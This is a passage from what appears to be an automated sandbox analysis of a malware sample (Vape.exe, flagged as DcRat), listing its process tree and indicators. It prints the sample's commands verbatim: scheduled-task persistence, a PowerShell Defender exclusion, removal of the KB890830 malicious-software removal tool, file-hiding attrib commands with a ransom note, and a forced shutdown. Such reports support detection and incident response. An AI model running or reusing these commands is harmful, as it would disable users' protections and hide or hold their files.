836 svchost.exe Token: SeRestorePrivilege 836 svchost.exe Token: SeShutdownPrivilege 836 svchost.exe Token: SeSystemEnvironmentPrivilege 836 svchost.exe Token: SeUndockPrivilege 836 svchost.exe Token: SeManageVolumePrivilege 836 svchost.exe Token: SeDebugPrivilege 1956 wmiprvse.exe Token: SeAuditPrivilege 112 svchost.exe Token: SeAuditPrivilege 836 svchost.exe Token: SeAuditPrivilege 836 svchost.exe Token: SeDebugPrivilege 2780 dialer.exe Token: SeShutdownPrivilege 1692 powercfg.exe Token: SeShutdownPrivilege 1948 powercfg.exe Token: SeShutdownPrivilege 2592 powercfg.exe Token: SeLockMemoryPrivilege 2704 dialer.exe Token: SeShutdownPrivilege 1492 powercfg.exe Token: SeAssignPrimaryTokenPrivilege 836 svchost.exe Token: SeIncreaseQuotaPrivilege 836 svchost.exe Token: SeSecurityPrivilege 836 svchost.exe Token: SeTakeOwnershipPrivilege 836 svchost.exe Token: SeLoadDriverPrivilege 836 svchost.exe Token: SeSystemtimePrivilege 836 svchost.exe Token: SeBackupPrivilege 836 svchost.exe Token: SeRestorePrivilege 836 svchost.exe Token: SeShutdownPrivilege 836 svchost.exe Token: SeSystemEnvironmentPrivilege 836 svchost.exe Token: SeUndockPrivilege 836 svchost.exe Token: SeManageVolumePrivilege 836 svchost.exe Token: SeAssignPrimaryTokenPrivilege 836 svchost.exe Token: SeIncreaseQuotaPrivilege 836 svchost.exe Token: SeSecurityPrivilege 836 svchost.exe Token: SeTakeOwnershipPrivilege 836 svchost.exe Token: SeLoadDriverPrivilege 836 svchost.exe Token: SeSystemtimePrivilege 836 svchost.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
Explorer.EXEtaskhost.exepid process 1260 Explorer.EXE 1112 taskhost.exe -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Explorer.EXEpid process 1260 Explorer.EXE 1260 Explorer.EXE 1260 Explorer.EXE 1260 Explorer.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
conhost.execonhost.exepid process 4524 conhost.exe 4868 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Vape.exeMicrosoft_R.exeMicrosoft_Protection.exeMicrosoft_M.exeMsvchost.exeWScript.execmd.exeIntoref.execmd.exeMicrosoft_crypt.execmd.exedialer.exedescription pid process target process PID 1848 wrote to memory of 1372 1848 Vape.exe Microsoft_Protection.exe PID 1848 wrote to memory of 1372 1848 Vape.exe Microsoft_Protection.exe PID 1848 wrote to memory of 1372 1848 Vape.exe Microsoft_Protection.exe PID 1848 wrote to memory of 1372 1848 Vape.exe Microsoft_Protection.exe PID 1848 wrote to memory of 856 1848 Vape.exe Microsoft_crypt.exe PID 1848 wrote to memory of 856 1848 Vape.exe Microsoft_crypt.exe PID 1848 wrote to memory of 856 1848 Vape.exe Microsoft_crypt.exe PID 1848 wrote to memory of 2620 1848 Vape.exe Microsoft_R.exe PID 1848 wrote to memory of 2620 1848 Vape.exe Microsoft_R.exe PID 1848 wrote to memory of 2620 1848 Vape.exe Microsoft_R.exe PID 2620 wrote to memory of 2744 2620 Microsoft_R.exe Microsoft_R.exe PID 2620 wrote to memory of 2744 2620 Microsoft_R.exe Microsoft_R.exe PID 2620 wrote to memory of 2744 2620 Microsoft_R.exe Microsoft_R.exe PID 1372 wrote to memory of 2776 1372 Microsoft_Protection.exe WScript.exe PID 1372 wrote to memory of 2776 1372 Microsoft_Protection.exe WScript.exe PID 1372 wrote to memory of 2776 1372 Microsoft_Protection.exe WScript.exe PID 1372 wrote to memory of 2776 1372 Microsoft_Protection.exe WScript.exe PID 1848 wrote to memory of 2568 1848 Vape.exe Microsoft_M.exe PID 1848 wrote to memory of 2568 1848 Vape.exe Microsoft_M.exe PID 1848 wrote to memory of 2568 1848 Vape.exe Microsoft_M.exe PID 1848 wrote to memory of 2584 1848 Vape.exe Msvchost.exe PID 1848 wrote to memory of 2584 1848 Vape.exe Msvchost.exe PID 1848 wrote to memory of 2584 1848 Vape.exe Msvchost.exe PID 2568 wrote to memory of 2800 2568 Microsoft_M.exe Microsoft_M.exe PID 2568 wrote to memory of 2800 2568 Microsoft_M.exe Microsoft_M.exe PID 2568 wrote to memory of 2800 2568 Microsoft_M.exe Microsoft_M.exe PID 2584 wrote to memory of 2028 2584 Msvchost.exe schtasks.exe PID 2584 wrote to memory of 2028 2584 Msvchost.exe schtasks.exe PID 2584 wrote to memory of 2028 2584 Msvchost.exe schtasks.exe PID 2776 wrote to memory of 2988 2776 WScript.exe cmd.exe PID 2776 wrote to memory of 2988 2776 WScript.exe cmd.exe PID 2776 wrote to memory of 2988 2776 WScript.exe cmd.exe PID 2776 wrote to memory of 2988 2776 WScript.exe cmd.exe PID 2988 wrote to memory of 276 2988 cmd.exe Intoref.exe PID 2988 wrote to memory of 276 2988 cmd.exe Intoref.exe PID 2988 wrote to memory of 276 2988 cmd.exe Intoref.exe PID 2988 wrote to memory of 276 2988 cmd.exe Intoref.exe PID 276 wrote to memory of 2116 276 Intoref.exe cmd.exe PID 276 wrote to memory of 2116 276 Intoref.exe cmd.exe PID 276 wrote to memory of 2116 276 Intoref.exe cmd.exe PID 2116 wrote to memory of 2428 2116 cmd.exe w32tm.exe PID 2116 wrote to memory of 2428 2116 cmd.exe w32tm.exe PID 2116 wrote to memory of 2428 2116 cmd.exe w32tm.exe PID 2116 wrote to memory of 1992 2116 cmd.exe Idle.exe PID 2116 wrote to memory of 1992 2116 cmd.exe Idle.exe PID 2116 wrote to memory of 1992 2116 cmd.exe Idle.exe PID 856 wrote to memory of 2000 856 Microsoft_crypt.exe dialer.exe PID 856 wrote to memory of 2000 856 Microsoft_crypt.exe dialer.exe PID 856 wrote to memory of 2000 856 Microsoft_crypt.exe dialer.exe PID 856 wrote to memory of 2000 856 Microsoft_crypt.exe dialer.exe PID 856 wrote to memory of 2000 856 Microsoft_crypt.exe dialer.exe PID 856 wrote to memory of 2000 856 Microsoft_crypt.exe dialer.exe PID 856 wrote to memory of 2000 856 Microsoft_crypt.exe dialer.exe PID 2240 wrote to memory of 1484 2240 cmd.exe wusa.exe PID 2240 wrote to memory of 1484 2240 cmd.exe wusa.exe PID 2240 wrote to memory of 1484 2240 cmd.exe wusa.exe PID 2000 wrote to memory of 432 2000 dialer.exe winlogon.exe PID 2000 wrote to memory of 476 2000 dialer.exe services.exe PID 2000 wrote to memory of 492 2000 dialer.exe lsass.exe PID 2000 wrote to memory of 500 2000 dialer.exe lsm.exe PID 2000 wrote to memory of 592 2000 dialer.exe svchost.exe PID 2000 wrote to memory of 672 2000 dialer.exe svchost.exe PID 2000 wrote to memory of 732 2000 dialer.exe svchost.exe PID 2000 wrote to memory of 808 2000 dialer.exe svchost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 12 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exepid process 2588 attrib.exe 5424 attrib.exe 5436 attrib.exe 4740 attrib.exe 4784 attrib.exe 5400 attrib.exe 5456 attrib.exe 5468 attrib.exe 4192 attrib.exe 4768 attrib.exe 2584 attrib.exe 5832 attrib.exe
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x02⤵
-
C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵
- Sets service image path in registry
- Loads dropped DLL
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 14 /tr "'C:\Recovery\50341a82-0d88-11ef-8a7e-5aba25856535\sppsvc.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\50341a82-0d88-11ef-8a7e-5aba25856535\sppsvc.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 14 /tr "'C:\Recovery\50341a82-0d88-11ef-8a7e-5aba25856535\sppsvc.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'C:\Windows\addins\Idle.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Windows\addins\Idle.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Windows\addins\Idle.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 13 /tr "'C:\Webdriversession\spoolsv.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Webdriversession\spoolsv.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Webdriversession\spoolsv.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "powershellp" /sc MINUTE /mo 5 /tr "'C:\Webdriversession\powershell.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Webdriversession\powershell.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "powershellp" /sc MINUTE /mo 14 /tr "'C:\Webdriversession\powershell.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Webdriversession\winlogon.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Webdriversession\winlogon.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 5 /tr "'C:\Webdriversession\winlogon.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'C:\Webdriversession\dwm.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Webdriversession\dwm.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\Webdriversession\dwm.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\wininit.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "audiodga" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\audiodg.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "audiodg" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\audiodg.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "audiodga" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\audiodg.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\csrss.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Webdriversession\lsass.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Webdriversession\lsass.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Webdriversession\lsass.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Microsoft_MM" /sc MINUTE /mo 6 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\Microsoft_M.exe'" /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Microsoft_M" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\Microsoft_M.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "Microsoft_MM" /sc MINUTE /mo 8 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\Microsoft_M.exe'" /rl HIGHEST /f4⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding3⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵
- Modifies security service
- Drops file in System32 directory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R3⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Windows\system32\taskeng.exetaskeng.exe {DED0F360-B762-4ABE-9071-42C1D6C101C0} S-1-5-21-268080393-3149932598-1824759070-1000:UHRQKJCP\Admin:Interactive:[1]3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exeC:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exeC:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exeC:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exeC:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe4⤵
- Executes dropped EXE
-
C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\wininit.exe"C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\wininit.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exeC:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exeC:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe4⤵
- Executes dropped EXE
-
C:\Webdriversession\lsass.exeC:\Webdriversession\lsass.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exeC:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe4⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft_WindowsDefender" /tr "C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe"5⤵
- DcRat
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\krvwtl.exe"C:\Users\Admin\AppData\Local\Temp\krvwtl.exe"5⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\system32\cmd.execmd.exe /c F: & attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted by the UI-Load hacker group! Telegram for contact: @JumperYT 1>info-0v92.txt & attrib -h +s +r info-0v92.txt6⤵
-
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D /S *7⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib -h +s +r info-0v92.txt7⤵
- Views/modifies file attributes
-
C:\Windows\system32\cmd.execmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted by the UI-Load hacker group! Telegram for contact: @JumperYT 1>info-0v92.txt & attrib -h +s +r info-0v92.txt6⤵
-
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D /S *7⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib -h +s +r info-0v92.txt7⤵
- Views/modifies file attributes
-
C:\Windows\system32\cmd.execmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted by the UI-Load hacker group! Telegram for contact: @JumperYT 1>info-0v92.txt & attrib -h +s +r info-0v92.txt6⤵
-
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D /S *7⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib -h +s +r info-0v92.txt7⤵
- Views/modifies file attributes
-
C:\Windows\system32\cmd.execmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted by the UI-Load hacker group! Telegram for contact: @JumperYT 1>info-0v92.txt & attrib -h +s +r info-0v92.txt6⤵
-
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D /S *7⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib -h +s +r info-0v92.txt7⤵
- Views/modifies file attributes
-
C:\Windows\system32\cmd.execmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted by the UI-Load hacker group! Telegram for contact: @JumperYT 1>info-0v92.txt & attrib -h +s +r info-0v92.txt6⤵
-
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D /S *7⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib -h +s +r info-0v92.txt7⤵
- Views/modifies file attributes
-
C:\Windows\system32\cmd.execmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted by the UI-Load hacker group! Telegram for contact: @JumperYT 1>info-0v92.txt & attrib -h +s +r info-0v92.txt6⤵
-
C:\Windows\system32\attrib.exeattrib +h +s +r +i /D /S *7⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\system32\attrib.exeattrib -h +s +r info-0v92.txt7⤵
- Views/modifies file attributes
-
C:\Windows\system32\taskkill.exetaskkill.exe /im Explorer.exe /f6⤵
- Kills process with taskkill
-
C:\Windows\system32\shutdown.exeshutdown.exe /f /s /t 05⤵
-
C:\Program Files\Reference Assemblies\Microsoft\Framework\Microsoft_M.exe"C:\Program Files\Reference Assemblies\Microsoft\Framework\Microsoft_M.exe"4⤵
- Executes dropped EXE
-
C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\csrss.exe"C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\csrss.exe"4⤵
- Executes dropped EXE
-
C:\Webdriversession\winlogon.exeC:\Webdriversession\winlogon.exe4⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\audiodg.exe"C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\audiodg.exe"4⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵
-
C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵
-
C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe2⤵
-
C:\ProgramData\nalfdgwigwyg\lhhsgwktkatl.exeC:\ProgramData\nalfdgwigwyg\lhhsgwktkatl.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵
- Drops file in Windows directory
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵
-
C:\Windows\system32\dialer.exedialer.exe3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\Vape.exe"C:\Users\Admin\AppData\Local\Temp\Vape.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_Protection.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_Protection.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Webdriversession\gI2DkJwTD.vbe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Webdriversession\SoPkc.bat" "5⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Webdriversession\Intoref.exe"C:\Webdriversession\Intoref.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\qk8Ox9cvFL.bat"7⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:28⤵
-
C:\Windows\addins\Idle.exe"C:\Windows\addins\Idle.exe"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Microsoft_crypt.exe"C:\Users\Admin\AppData\Local\Temp\Microsoft_crypt.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
- Drops file in Windows directory
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
